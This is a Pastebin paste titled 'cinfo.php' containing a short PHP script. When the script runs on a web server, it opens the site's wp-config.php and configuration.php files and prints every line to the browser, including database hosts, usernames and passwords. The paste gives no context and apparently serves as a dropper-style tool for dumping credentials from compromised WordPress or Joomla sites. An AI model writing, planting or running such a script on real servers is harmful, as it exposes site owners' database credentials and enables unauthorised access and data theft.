PalmaSolutions

cinfo.php

Dec 21st, 2017
286
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.68 KB | None | 0 0
  1. <?php
  2. $suc = false;
  3. $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-config.php';
  4. if(file_exists($f))
  5. {
  6. echo 'Path: ' . $f . '<br />';
  7. $aus = file($f);
  8. if(count($aus) > 0)
  9. {
  10. foreach ($aus as $v)
  11. {
  12. echo $v . "<br />";
  13. if(stristr($v, '$_ENV{DATABASE_SERVER}') == true)
  14. {
  15. echo $_ENV{DATABASE_SERVER};
  16. }
  17. }
  18. }
  19. $suc = true;
  20. }
  21.  
  22. $f = $_SERVER['DOCUMENT_ROOT'] . '/configuration.php';
  23. $aus = file($f);
  24. if(count($aus) > 0)
  25. {
  26. echo 'Path: ' . $f . '<br />';
  27. foreach ($aus as $v)
  28. {
  29. echo $v . "<br />";
  30. }
  31. $suc = true;
  32. }
  33.  
  34. if($suc != true)
  35. {
  36. echo 'Not found file';
  37. }
  38.  
  39.  
  40. ?>
Advertisement
Add Comment
Please, Sign In to add comment